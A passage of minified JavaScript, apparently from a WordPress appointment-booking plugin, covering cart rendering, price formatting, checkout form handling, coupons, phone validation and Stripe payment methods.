n=s[t],o=i.find(n).first(),l=\"{\"+t+\"}\";if(!(o.length>0?o.html():\"\").includes(l))continue;let h=\"\";switch(t){case\"service_id\":h=e.service.id;break;case\"service_name\":h=e.service.name;break;case\"service_thumbnail\":h=ke(e.service.thumbnail);break;case\"employee_id\":h=e.employee.id;break;case\"employee_name\":h=e.employee.name;break;case\"location_id\":h=e.location.id;break;case\"location_name\":h=e.location.name;break;case\"reservation_date\":h=f(e.date);break;case\"reservation_save_date\":h=f(e.date,\"internal\");break;case\"reservation_time\":h=e.time.toString(\"short\");break;case\"reservation_period\":h=e.time.toString();break;case\"reservation_save_period\":h=e.time.toString(\"internal\");break;case\"reservation_capacity\":h=Se(r(a,a),e.capacity);break;case\"reservation_clients\":h=we(r(a,a),e.capacity);break;case\"reservation_clients_count\":h=e.capacity;break;case\"reservation_price\":let t=e.employee.id;h=ve(e.service.getPrice(t,e.capacity))}o.html(o.html().replace(l,h))}return i.find(\".cell-people .cell-title\").html(e.getService().getQuantityLabel()),i.find('[name*=\"{item_id}\"]').each(((t,s)=>{s.name=s.name.replace(\"{item_id}\",e.getItemId())})),1===a.length&&i.find(\".cell-people\").addClass(\"mpa-hide\"),i}function be(e){let t=\"\";t+='\u003Ctable class=\"mpa-order widefat\">',t+=\"\u003Ctbody>\";for(let s of e.products)t+='\u003Ctr class=\"mpa-order-service\">',t+='\u003Ctd class=\"column-service\">',t+='\u003Cspan class=\"mpa-service-name\">'+s.name+\"\u003C\u002Fspan>\",s.capacity>1&&(t+='\u003Cspan class=\"mpa-reservation-capacity\">',t+=s.quantity_label+\": \"+s.capacity,t+=\"\u003C\u002Fspan>\"),t+=\"\u003C\u002Ftd>\",t+='\u003Ctd class=\"column-price\">'+_e(s.price)+\"\u003C\u002Ftd>\",t+=\"\u003C\u002Ftr>\";return t+='\u003Ctr class=\"mpa-order-subtotal\">',t+='\u003Cth class=\"column-subtotal\">'+u(\"Subtotal\",\"motopress-appointment\")+\"\u003C\u002Fth>\",t+='\u003Cth class=\"column-price\">'+_e(e.subtotal)+\"\u003C\u002Fth>\",t+=\"\u003C\u002Ftr>\",t+=\"\u003C\u002Ftbody>\",t+=\"\u003Ctfoot>\",e.coupon&&(t+='\u003Ctr class=\"mpa-order-coupon\">',t+='\u003Cth class=\"column-coupon\">',t+=u(\"Coupon: %s\",\"motopress-appointment\").replace(\"%s\",e.coupon.code),t+=\"\u003C\u002Fth>\",t+='\u003Ctd class=\"column-price\">',t+=_e(-e.coupon.amount),t+=\" \",t+='\u003Ca href=\"#\" class=\"mpa-remove-coupon\">'+u(\"Remove\",\"motopress-appointment\")+\"\u003C\u002Fa>\",t+=\"\u003C\u002Ftd>\",t+=\"\u003C\u002Ftr>\"),t+='\u003Ctr class=\"mpa-order-total\">',t+='\u003Cth class=\"column-total\">'+u(\"Total\",\"motopress-appointment\")+\"\u003C\u002Fth>\",t+='\u003Cth class=\"column-price\">'+_e(e.total)+\"\u003C\u002Fth>\",t+=\"\u003C\u002Ftr>\",t+=\"\u003C\u002Ftfoot>\",t+=\"\u003C\u002Ftable>\",t}function ve(e,t={}){let s=m().settings();t=jQuery.extend({currency_symbol:s.getCurrencySymbol(),currency_position:s.getCurrencyPosition(),decimal_separator:s.getDecimalSeparator(),thousand_separator:s.getThousandSeparator(),decimals:s.getDecimalsCount(),literal_free:!0,trim_zeros:!0},t);let i=function(e,t=0,s=\".\",i=\",\"){let a,r,n,o,l,h=\"\";return e\u003C0&&(h=\"-\",e*=-1),a=parseInt(e=(+e||0).toFixed(t))+\"\",(r=a.length)>3?r%=3:r=0,l=r?a.substr(0,r)+i:\"\",n=a.substr(r).replace(\u002F(\\d{3})(?=\\d)\u002Fg,\"$1\"+i),o=t?s+Math.abs(e-a).toFixed(t).replace(\u002F-\u002F,0).slice(2):\"\",h+l+n+o}(Math.abs(e),t.decimals,t.decimal_separator,t.thousand_separator),a=\"mpa-price\";if(0==e&&(a+=\" mpa-zero-price\"),0==e&&t.literal_free)a+=\" mpa-price-free\",i=g(\"Free\",\"Zero price\",\"motopress-appointment\");else{t.trim_zeros&&(i=function(e,t=null){null==t&&(t=m().settings().getDecimalSeparator());let s=new RegExp(\"\\\\\"+t+\"0+$\");return e.replace(s,\"\")}(i));let s='\u003Cspan class=\"mpa-currency\">'+t.currency_symbol+\"\u003C\u002Fspan>\";switch(t.currency_position){case\"before\":i=s+i;break;case\"after\":i+=s;break;case\"before_with_space\":i=s+\"&nbsp;\"+i;break;case\"after_with_space\":i=i+\"&nbsp;\"+s}e\u003C0&&(i=\"-\"+i)}return'\u003Cspan class=\"'+a+'\">'+i+\"\u003C\u002Fspan>\"}function _e(e,t={}){return t.literal_free=!1,ve(e,t)}function Se(e,t,s={}){let i=\"\u003Cselect\"+ge(s)+\">\";return i+=we(e,t),i+=\"\u003C\u002Fselect>\",i}function Pe(e,t,s=!1){let i=\"\";return i='\u003Coption value=\"'+e+'\"'+(s?' selected=\"selected\"':\"\")+\">\",i+=t,i+=\"\u003C\u002Foption>\",i}function we(e,t){let s=\"\";for(let i in e)s+=Pe(i,e[i],i==t);return s}function Ce(e,t,s,i){let a=\"\";const r=String(i);for(const[e,s]of Object.entries(t))a+=Pe(e,s,e===r);for(let e of s)a+=Pe(String(e.id),e.name,String(e.id)===r);e.empty().append(a).val(r)}function ke(e){let{width:t,height:s}=m().settings().getThumbnailSize();return\"\u003Cimg\"+ge({width:t,height:s,src:e,class:\"attachment-thumbnail size-thumbnail\"})+\">\"}class $e extends pe{setupProperties(){super.setupProperties(),this.isBeginCheckoutEventSent=!1,this.$cart=this.$element.find(\".mpa-cart\"),this.$items=this.$cart.find(\".mpa-cart-items\"),this.$itemTemplate=this.$cart.find(\".mpa-cart-item-template\"),this.$noItems=this.$element.find(\".no-items\"),this.$totalPrice=this.$element.find(\".mpa-cart-total-price\"),this.$buttonNew=this.$buttons.find(\".mpa-button-new\")}theId(){return\"cart\"}addListeners(){super.addListeners(),this.$buttonNew.on(\"click\",this.createNew.bind(this))}load(){if(this.$itemTemplate.remove(),this.$itemTemplate.removeClass(\"mpa-cart-item-template\"),null!==this.cart.getActiveItem()){let e=this.cart.getActiveItem(),t=e.getItemId(),s=e.getDate(),i=e.getTime();this.cart.getItems().forEach((a=>{a.isSet()&&a.getItemId()!=t&&a.isAtTime(s,i)&&a.removeBookingVariatForEmployee(e.getEmployeeId())}))}this.updateActiveItemCapacity(),this.refreshCart(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){this.$items.find(\".mpa-cart-item\").remove(),this.$noItems.removeClass(\"mpa-hide\"),this.isBeginCheckoutEventSent=!1}updateActiveItemCapacity(){let e=this.cart.getActiveItem();if(!e)return;let t=e.getMinCapacity(),s=e.getMaxCapacity();var i,a,r;e.setCapacity((i=e.getCapacity(),a=t,r=s,Math.max(a,Math.min(i,r))))}refreshCart(){this.cart.getActiveItemId(),this.cart.items.forEach(((e,t,s)=>{let i='.mpa-cart-item[data-id=\"'+s+'\"]',a=this.$items.find(i);0===a.length?(a=this.addItem(e),this.bindListeners(a)):(a=this.updateItem(a,e),this.bindListeners(a))})),this.updateTotalPrice()}addItem(e){let t=fe(e,this.$itemTemplate);return this.$items.append(t),this.$noItems.addClass(\"mpa-hide\"),t}updateItem(e,t){let s=fe(t,this.$itemTemplate);return e.replaceWith(s),s}bindListeners(e){let t=e.data(\"id\"),s=this.cart.getItem(t),i=e.find(\".mpa-reservation-capacity select, .mpa-reservation-clients select\"),a=e.find(\".mpa-reservation-price\"),r=e.find(\".mpa-button-remove, .mpa-button-edit-or-remove\"),n=e.find(\".mpa-button-edit, .mpa-button-edit-or-remove\");i.on(\"change\",(t=>{let i=j(t.target.value);s.setCapacity(i);let r=s.getBookingVariantForCapacity(i),n=r.employeeId,o=r.locationId;if(s.getEmployeeId()!=n)s.setEmployee(n,!1),s.setLocation(o,!1),e=this.updateItem(e,s),this.bindListeners(e);else{let e=s.service.getPrice(n,i);a.html(ve(e))}this.updateTotalPrice()})),this.isMultibookingEnabled()&&r.on(\"click\",(s=>{s.stopPropagation(),e.remove();let i=this.cart.getItem(t);this.cart.removeItem(t),this.cart.isEmpty()&&this.$noItems.removeClass(\"mpa-hide\"),this.updateTotalPrice(),this.react(),document.dispatchEvent(new CustomEvent(\"mpa_remove_from_cart\",{detail:{cartItem:i,currencyCode:m().settings().getCurrency()}}))})),this.isMultibookingEnabled()||n.on(\"click\",(()=>{this.cart.setActiveItem(t),this.cancel()}))}updateTotalPrice(){this.$totalPrice.html(_e(this.cart.getTotalPrice()))}isMultibookingEnabled(){return m().settings().isMultibookingEnabled()}isValidInput(){return!this.cart.isEmpty()}createNew(){this.isActive&&(this.disable(),this.triggerNew())}triggerNew(){this.$element.trigger(\"mpa_booking_step_new\",{step:this.stepId})}maybeSubmit(){this.isBeginCheckoutEventSent||(document.dispatchEvent(new CustomEvent(\"mpa_begin_checkout\",{detail:{cart:this.cart,currencyCode:m().settings().getCurrency()}})),this.isBeginCheckoutEventSent=!0)}}class Te{constructor(e,t){this.cart=t,this.$element=e,this.$couponCode=e.find('[name=\"coupon_code\"]'),this.$applyButton=e.find(\".mpa-apply-coupon-button\"),this.$messageHolder=e.find(\".mpa-message-wrapper\"),this.$preloader=e.find(\".mpa-preloader\"),this.$parentForm=e.parents(\".mpa-booking-step\").first(),this.addListeners(),this.reset()}addListeners(){this.$couponCode.on(\"keydown\",(e=>{\"Enter\"===e.code&&this.onEnter(e)})),this.$applyButton.on(\"click\",this.onSubmit.bind(this))}onEnter(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(e.target.value)}onSubmit(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(this.$couponCode.val())}applyCouponCode(e){this.clearMessage(),e?(this.pauseAll(),ie().coupon().findByCode(e).then((e=>{e.isApplicableForCart(this.cart)?(this.cart.setCoupon(e),this.reset(),this.triggerApplied(e),this.setMessage(u(\"Coupon code applied successfully.\",\"motopress-appointment\"))):this.setMessage(u(\"Sorry, your booking is not eligible for this coupon.\",\"motopress-appointment\")),this.unpauseAll()}),(e=>{this.setMessage(e.message),this.unpauseAll()}))):this.setMessage(u(\"Coupon code is empty.\",\"motopress-appointment\"))}reset(){this.$couponCode.val(\"\"),this.clearMessage(),0===this.cart.getTotalPrice()?(this.disable(),this.$element.addClass(\"mpa-hide\")):(this.enable(),this.$element.removeClass(\"mpa-hide\"))}disable(){this.$couponCode.prop(\"disabled\",!0),this.$applyButton.prop(\"disabled\",!0)}enable(){this.$couponCode.prop(\"disabled\",!1),this.$applyButton.prop(\"disabled\",!1)}pauseAll(){this.disable(),this.showPreloader(),this.$parentForm.trigger(\"mpa_booking_step_disable\")}unpauseAll(){this.enable(),this.hidePreloader(),this.$parentForm.trigger(\"mpa_booking_step_enable\")}triggerApplied(e){this.$parentForm.trigger(\"mpa_booking_coupon_applied\",{coupon:e})}setMessage(e){this.$messageHolder.html(e).removeClass(\"mpa-hide\")}clearMessage(){this.$messageHolder.html(\"\").addClass(\"mpa-hide\")}showPreloader(){this.$preloader.removeClass(\"mpa-hide\")}hidePreloader(){this.$preloader.addClass(\"mpa-hide\")}}function Ie(e){const i=jQuery(\"\u003Cspan\u002F>\",{id:e.attr(\"id\")+\"_error\",class:\"mpa-phone-field-error mpa-hide\",text:u(\"Phone number is invalid.\",\"motopress-appointment\")});e.after(\"\u003Cbr>\",i);const a=s(e[0],{separateDialCode:!0,initialCountry:t.settings.country,hiddenInput:e.attr(\"name\"),utilsScript:t.urls.plugin+\"assets\u002Fjs\u002Fintl-tel-input-17.0.19\u002Fjs\u002Futils.js\"});a.promise.then((()=>{e.val()&&r(),e.on(\"countrychange\",(e=>{r()})),e.on(\"input\",(e=>{r()}))}));const r=()=>{a.isValidNumber()?(jQuery(\"input[type='hidden'][name='\"+e.attr(\"name\")+\"']\").val(a.getNumber(intlTelInputUtils.numberFormat.E164)),e.removeClass(\"mpa-phone-number--invalid\"),i.addClass(\"mpa-hide\")):(e.addClass(\"mpa-phone-number--invalid\"),i.removeClass(\"mpa-hide\"))};return a}window.mpa_intl_tel_input=Ie;class De extends pe{setupProperties(){super.setupProperties(),this.name=\"\",this.email=\"\",this.phone=\"\",this.notes=\"\",this.acceptTerms=!1,this.createAccount=!1,this.$checkoutForm=this.$element.find(\".mpa-checkout-form\"),this.$name=this.$element.find(\".mpa-customer-name\"),this.$email=this.$element.find(\".mpa-customer-email\"),this.$phone=this.$element.find(\".mpa-customer-phone\"),this.$notes=this.$element.find(\".mpa-customer-notes\"),this.$order=this.$element.find(\".mpa-order\"),wp.hooks.doAction(\"mpa_step_checkout_form\",this.$checkoutForm),0!==this.$phone.length&&(this.phoneValidator=Ie(this.$phone)),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(\".mpa-accept-terms\")),this.$messageHolder=this.$element.find(\".mpa-message\").first(),this.$preloader=this.$element.find(\".mpa-loading\"),m().settings().isAllowCustomerAccountCreation()&&(this.$createAccount=this.$element.find(\".mpa-customer-create-account\"),this.$createAccountDescription=this.$element.find(\".mpa-customer-create-account-description\"),this.setProperty(\"createAccount\",this.$createAccount.prop(\"checked\"))),t&&t.currentCustomer&&t.currentCustomer.name&&(this.setProperty(\"name\",t.currentCustomer.name),this.$name.val(t.currentCustomer.name)),t&&t.currentCustomer&&t.currentCustomer.email&&(this.setProperty(\"email\",t.currentCustomer.email),this.$email.val(t.currentCustomer.email)),t&&t.currentCustomer&&\"undefined\"!==t.currentCustomer.phone&&(this.setProperty(\"phone\",t.currentCustomer.phone),this.phoneValidator.setNumber(t.currentCustomer.phone),this.$phone.trigger(\"input\")),this.service=null,this.couponSection=null}theId(){return\"checkout\"}propertiesSchema(){return{name:{type:\"string\",default:\"\"},email:{type:\"string\",default:\"\"},phone:{type:\"string\",default:\"\"},notes:{type:\"string\",default:\"\"},acceptTerms:{type:\"bool\",default:!1},$createAccount:{type:\"bool\",default:!1}}}addListeners(){super.addListeners(),this.$checkoutForm.on(\"submit\",(e=>!1)),this.$name.on(\"input\",(e=>this.setProperty(\"name\",e.target.value))),this.$email.on(\"input\",(e=>this.setProperty(\"email\",e.target.value))),this.$phone.on(\"input\",(e=>{this.setProperty(\"phone\",\"\"),this.phoneValidator.isValidNumber()&&this.setProperty(\"phone\",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$phone.on(\"countrychange\",(e=>{this.setProperty(\"phone\",\"\"),this.phoneValidator.isValidNumber()&&this.setProperty(\"phone\",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$notes.on(\"input\",(e=>this.setProperty(\"notes\",e.target.value))),m().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on(\"input\",(e=>this.setProperty(\"acceptTerms\",e.target.checked))),m().settings().isAllowCustomerAccountCreation()&&this.$createAccount.on(\"input\",(e=>{this.setProperty(\"createAccount\",e.target.checked),e.target.checked?this.$createAccountDescription.removeClass(\"mpa-hide\"):this.$createAccountDescription.addClass(\"mpa-hide\")})),this.$element.on(\"mpa_booking_step_disable\",this.disable.bind(this)),this.$element.on(\"mpa_booking_step_enable\",this.enable.bind(this)),this.$element.on(\"mpa_booking_coupon_applied\",(()=>this.updateOrder()))}load(){this.couponSection?this.couponSection.reset():m().settings().isCouponsEnabled()&&(this.couponSection=new Te(this.$element.find(\".mpa-coupon-details\"),this.cart)),this.cart.hasCoupon()&&this.cart.testCoupon(),this.updateOrder(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){wp.hooks.doAction(\"mpa_step_checkout_reset\",this.$checkoutForm),this.$notes.val(\"\"),this.resetProperty(\"notes\"),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop(\"checked\",!1),this.resetProperty(\"acceptTerms\")),m().settings().isAllowCustomerAccountCreation()&&(this.clearMessage(),this.$createAccount.prop(\"checked\",!1),this.resetProperty(\"createAccount\")),this.couponSection&&this.couponSection.reset()}updateOrder(){if(0===this.$order.length)return;this.$order.empty(),this.$order.html(be(this.cart.getOrder()));let e=this.$order.find(\".mpa-remove-coupon\");e.length>0&&e.on(\"click\",this.removeCoupon.bind(this))}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.updateOrder()}isValidInput(){return this.isValidName()&&this.isValidEmail()&&this.isValidPhone()&&this.isValidAcceptTerms()&&wp.hooks.applyFilters(\"mpa_step_checkout_form_valid\",!0,this.$checkoutForm)}isValidName(){return!(this.$name.length>0&&this.$name.is(\"[required]\"))||\"\"!==this.name}isValidEmail(){return!(this.$email.length>0&&this.$email.is(\"[required]\"))||\"\"!==this.email&&!!this.email.match(\u002F.+@.+\u002F)}isValidPhone(){return!(this.$phone.length>0&&this.$phone.is(\"[required]\"))||this.phoneValidator.isValidNumber()}isValidAcceptTerms(){return!m().settings().getTermsPageIdForAcceptance()||m().settings().isPaymentsEnabled()||this.acceptTerms}react(){super.react(),this.$buttonNext.prop(\"disabled\",!1)}setMessage(e){this.$messageHolder.html(e).removeClass(\"mpa-hide\")}clearMessage(){this.$messageHolder.html(\"\").addClass(\"mpa-hide\")}showPreloader(){this.$preloader.removeClass(\"mpa-hide\")}hidePreloader(){this.$preloader.addClass(\"mpa-hide\")}async maybeSubmit(){if(wp.hooks.hasFilter(\"mpa_step_checkout_maybe_submit\")&&await wp.hooks.applyFilters(\"mpa_step_checkout_maybe_submit\",{},this.$checkoutForm),this.couponSection&&this.couponSection.disable(),this.cart.setCustomerDetails({name:this.name,email:this.email,phone:this.phone,notes:this.notes,acceptTerms:this.acceptTerms}),this.createAccount&&\"\"!==this.email){this.showPreloader();return c(\"\u002Fcustomers\u002Fcreate\",{name:this.name,email:this.email,phone:this.phone}).then((e=>{this.hidePreloader(),this.clearMessage()}),(e=>{throw this.hidePreloader(),this.setMessage(e),e}))}}}class Ee{setupProperties(){this.gatewayId=\"basic\",this.settings=this.getDefaults(),this.$mountWrapper=null,this.loadPromise=null,this.isEnabled=!1,this.isMounted=!1,this.haveErrors=!1}constructor(e,t){this.setupProperties(),this.$mountWrapper=e,this.cart=t}load(){return this.addListeners(),this.loadPromise=Promise.resolve(this),this.loadPromise}addListeners(){}onCartChange(e){}mount(e){}ready(){return this.loadPromise}enable(){this.isEnabled||(this.isMounted||(this.mount(this.$mountWrapper),this.isMounted=!0),this.$mountWrapper.removeClass(\"mpa-hide\"),this.isEnabled=!0)}disable(){this.isEnabled&&(this.$mountWrapper.addClass(\"mpa-hide\"),this.isEnabled=!1)}isValid(){return!this.haveErrors}processPayment(e,t){return c(\"\u002Fpayments\u002Fprepare\",{payment_details:e.paymentDetails})}getDefaults(){return{country:m().settings().getCountry(),redirect_url:{payment_received:m().settings().getReservationReceivedPageUrl(),failed_transaction:m().settings().getFailedTransactionPageUrl()}}}reset(){}}class Ae extends Ee{enable(){}}class Me{setupProperties(){this.methods=null,this.uid=\"\",this.paymentMethods=new M,this.selectedMethod=\"\",this.$mountWrapper=null,this.$errorsWrapper=null,this.$gatewayPreloader=null,this.mountedMethods=[]}constructor(e){this.setupProperties(),this.methods=e,this.uid=B(),this.addPaymentMethods(this.methods)}mountedMethod(){let e=!1;Object.entries(this.mountedMethods).forEach(((t,s)=>{s||(e=!0)})),e&&this.$gatewayPreloader.addClass(\"mpa-hide\")}addPaymentMethods(e){for(const t in e)this.paymentMethods.includesKey(t)||(this.paymentMethods.push(t,{$nav:null,$fields:null}),this.selectedMethod||(this.selectedMethod=t))}isMounted(){return null!==this.$mountWrapper}mount(e){e.append(this.render()),this.$gatewayPreloader=e.parent().find(\".mpa-payment-gateway-title .mpa-preloader\"),this.$gatewayPreloader.removeClass(\"mpa-hide\"),this.paymentMethods.forEach(((t,s,i)=>{t.$nav=e.find(\".mpa-stripe-payment-method.\"+i),t.$fields=e.find(\".mpa-stripe-payment-fields.\"+i);const a=this.methods[i].getControl();if(null!==a){const e=this.getElementSelector(i);this.mountedMethods[i]=!1,a.mount(e),a.on(\"ready\",(t=>{this.mountedMethod(t),document.querySelector(e).classList.remove(\"mpa-preloader-skeleton-pulsate\")}))}\"card\"===i&&this.methods.card.isCanMakePaymentRequest().then((e=>{const t=this.getElementSelector(\"payment-request-button\"),s=document.querySelector(t);s&&(e?(this.mountedMethods.payment_request_button=!1,this.methods.card.paymentRequestButton.mount(t),this.methods.card.paymentRequestButton.on(\"ready\",(e=>{this.mountedMethod(\"payment_request_button\"),s.classList.remove(\"mpa-preloader-skeleton-pulsate\")}))):(s.classList.add(\"mpa-hide\"),document.querySelector(\".mpa-stripe-payment-request-button-separator\").classList.add(\"mpa-hide\")))}))})),e.find('input[name=\"stripe_payment_method\"]').on(\"change\",this.onPaymentMethodChange.bind(this)),this.$mountWrapper=e,this.$errorsWrapper=e.find(\".mpa-errors\")}onPaymentMethodChange(e){let t=null;switch(this.selectedMethod){case\"payment\":case\"card\":case\"ideal\":case\"sepa_debit\":t=this.methods[this.selectedMethod].getControl()}null!==t&&t.clear(),this.selectPaymentMethod(e.target.value)}selectPaymentMethod(e){e!==this.selectedMethod&&(this.togglePaymentMethod(this.selectedMethod,!1),this.togglePaymentMethod(e,!0),this.selectedMethod=e)}togglePaymentMethod(e,t){if(this.isMounted()&&this.paymentMethods.includesKey(e)){let s=this.paymentMethods.find(e);s.$nav.toggleClass(\"active\",t),s.$fields.toggleClass(\"mpa-hide\",!t)}}getElementSelector(e){return\"sepa_debit\"===e&&(e=\"iban\"),\"#mpa-stripe-\"+e+\"-element-\"+this.uid}render(){let e=\"\";e+='\u003Csection class=\"mpa-stripe-payment-container\">',this.paymentMethods.length>1&&(e+=this.renderNavigation());for(let t of this.paymentMethods.keys)e+=this.renderFields(t);return e+='\u003Cdiv class=\"mpa-errors\">\u003C\u002Fdiv>',e+=\"\u003C\u002Fsection>\",e}renderNavigation(){let e=\"\";e+='\u003Cnav class=\"mpa-stripe-payment-methods\">',e+=\"\u003Cul>\";for(let t of this.paymentMethods.keys){let s=t===this.selectedMethod;e+='\u003Cli class=\"mpa-stripe-payment-method '+t+(s?\" active\":\"\")+'\">',e+=\"\u003Clabel>\",e+='\u003Cinput type=\"radio\" name=\"stripe_payment_method\" value=\"'+t+'\"'+(s?' checked=\"checked\"':\"\")+\">\",e+=\" \"+this.methods[t].title,e+=\"\u003C\u002Flabel>\",e+=\"\u003C\u002Fli>\"}return e+=\"\u003C\u002Ful>\",e+=\"\u003C\u002Fnav>\",e}renderFields(e){let t=\"\";switch(t+='\u003Cdiv class=\"mpa-stripe-payment-fields '+e+(e===this.selectedMethod?\"\":\" mpa-hide\")+'\">',t+=\"\u003Cfieldset>\",e){case\"payment\":t+=this.renderPaymentFields();break;case\"card\":t+=this.renderCardFields();break;case\"ideal\":t+=this.renderIdealFields();break;case\"sepa_debit\":t+=this.renderSepaDebitFields();break;default:t+=this.renderRedirectNotice()}return t+=\"\u003C\u002Ffieldset>\",\"sepa_debit\"===e&&(t+='\u003Cp class=\"notice\">',t+=u(\"By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited.\",\"motopress-appointment\").replace(\"%s\",m().settings().getBusinessName()),t+=\"\u003C\u002Fp>\"),t+=\"\u003C\u002Fdiv>\",t}renderPaymentFields(){let e=\"\";return e+='\u003Cdiv id=\"mpa-stripe-payment-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-payment-element\">\u003C\u002Fdiv>',e}renderCardFields(){let e=\"\";return e+='\u003Clabel for=\"mpa-stripe-card-element-'+this.uid+'\">',e+=u(\"Credit or debit card\",\"motopress-appointment\"),e+=\"\u003C\u002Flabel>\",this.methods.card.isEnabledWallets()&&(e+='\u003Cdiv id=\"mpa-stripe-payment-request-button-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-payment-request-button-element mpa-preloader-skeleton-pulsate StripeElement\">\u003C\u002Fdiv>',e+='\u003Cdiv class=\"mpa-stripe-payment-request-button-separator\">'+u(\"or\",\"motopress-appointment\")+\"\u003C\u002Fdiv>\"),e+='\u003Cdiv id=\"mpa-stripe-card-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-card-element mpa-preloader-skeleton-pulsate\">\u003C\u002Fdiv>',e}renderIdealFields(){let e=\"\";return e+='\u003Clabel for=\"mpa-stripe-ideal-element-'+this.uid+'\">',e+=u(\"Select iDEAL Bank\",\"motopress-appointment\"),e+=\"\u003C\u002Flabel>\",e+='\u003Cdiv id=\"mpa-stripe-ideal-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-ideal-element mpa-preloader-skeleton-pulsate\">\u003C\u002Fdiv>',e}renderSepaDebitFields(){let e=\"\";return e+='\u003Clabel for=\"mpa-stripe-iban-element-'+this.uid+'\">',e+=u(\"IBAN\",\"motopress-appointment\"),e+=\"\u003C\u002Flabel>\",e+='\u003Cdiv id=\"mpa-stripe-iban-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-iban-element mpa-preloader-skeleton-pulsate\">\u003C\u002Fdiv>',e}renderRedirectNotice(){let e=\"\";return e+='\u003Cp class=\"notice\">',e+=u(\"You will be redirected to a secure page to complete the payment.\",\"motopress-appointment\"),e+=\"\u003C\u002Fp>\",e}showError(e){this.isMounted()&&this.$errorsWrapper.html(e).removeClass(\"mpa-hide\")}hideErrors(){this.isMounted()&&this.$errorsWrapper.addClass(\"mpa-hide\").html(\"\")}reset(){let e=this.paymentMethods.firstKey();this.selectPaymentMethod(e)}}class xe extends Ee{load(){return this.loadPromise=h(\"\u002Fpayments\u002Fsettings\",{gateway_id:this.gatewayId}).catch((e=>console.error(e.message)||{})).then((e=>(jQuery.extend(this.settings,e),this))),this.loadPromise}}class Fe{name=null;title=null;control=null;api=null;elements=null;constructor(e,t,s){if(this.api=e,this.settings=s,this.elements=t,new.target===Fe)throw new Error(\"Cannot construct Abstract instances directly\");if(void 0===this.setupProperties)throw new Error(\"Must override method: setupProperties()\");if(this.setupProperties(),null===this.name||void 0===this.name)throw new Error('\"name\" must be defined in a non-abstract payment method class');if(null===this.title||void 0===this.title)throw new Error('\"title\" must be defined in a non-abstract payment method class')}createControl(){return null}getControl(){return this.control||(this.control=this.createControl()),this.control}reset(){null!==this.control&&this.control.clear()}createPaymentMethodData(e,t,s){let i={type:this.name,billing_details:{name:e.padEnd(3,\" \"),email:t,phone:s}};return null!==this.control&&(i[this.name]=this.control),i}createPaymentMethod(e){return this.api.createPaymentMethod(e)}confirmPayment(e,t){throw new Error(\"Abstract Method has no implementation\")}processPayment(e,t,s){const i=e.getCustomer(),a=this.createPaymentMethodData(i.name,i.email,i.phone);return this.createPaymentMethod(a).then((t=>{if(t.error)throw new Error(t.error.message);return c(\"\u002Fpayments\u002Fprepare\",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return\"requires_action\"==e.status&&\"redirect_to_url\"==e.next_action.type&&(t.redirect_url=e.next_action.redirect_to_url.url),t})).catch((e=>{throw console.error(\"Unable to process payment.\",e.message),null!=s.error_handler&&s.error_handler(e.message),e}))}}class Be extends Fe{setupProperties(){this.name=\"payment\",this.title=u(\"Payment methods\",\"motopress-appointment\"),this.customerDetails={name:\"\",email:\"\",phone:\"\"}}provideCart(e){this.cart=e}getCustomerDetails(){return this.cart?this.cart.getCustomer():{name:\"\",email:\"\",phone:\"\"}}confirmPayment(e,t){const s=this.getCustomerDetails(),i=this.elements;return new Promise(((e,t)=>{i.submit().then((({error:s})=>{if(s){const e=s.message||\"\";t(new Error(e))}else e()})).catch((e=>{t(e)}))})).then((()=>{var a,r,n;return this.api.confirmPayment({elements:i,clientSecret:e,confirmParams:{payment_method_data:{billing_details:{name:null!==(a=s?.name)&&void 0!==a?a:null,email:null!==(r=s?.email)&&void 0!==r?r:null,phone:null!==(n=s?.phone)&&void 0!==n?n:null,address:{line1:null,line2:null,city:null,state:null,country:null,postal_code:null}}},return_url:t},redirect:\"if_required\"})})).catch((e=>{throw console.error(\"Error during payment confirmation:\",e),e}))}processPayment(e,t,s){return c(\"\u002Fpayments\u002Fprepare\",{payment_details:e.paymentDetails}).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};if(\"requires_action\"===e.status){if(\"redirect_to_url\"!==e.next_action.type)throw new Error(\"The user has cancelled or failed to complete the payment.\");t.redirect_url=e.next_action.redirect_to_url.url}return t})).catch((e=>{if(e.message)throw console.error(\"Unable to process payment.\",e.message),e;throw new Error(\"Unable to process payment.\")}))}createControl(){const e=this.getCustomerDetails();return this.elements.create(\"payment\",{defaultValues:{billingDetails:{address:{country:this.settings.country}}},fields:{billingDetails:{name:e?.name?\"never\":\"auto\",email:e?.email?\"never\":\"auto\",phone:e?.phone?\"never\":\"auto\",address:{line1:\"auto\",line2:\"auto\",city:\"auto\",state:\"auto\",country:\"auto\",postalCode:\"auto\"}}}})}}class Le extends Fe{setupProperties(){this.name=\"card\",this.title=u(\"Card\",\"motopress-appointment\"),this.paymentRequestButtonEvent=null,this.canMakePaymentRequest=Promise.resolve(null),this.isEnabledWallets()&&(this.paymentRequest=this.createPaymentRequest(),this.canMakePaymentRequest=this.paymentRequest.canMakePayment())}createPaymentRequest(){return 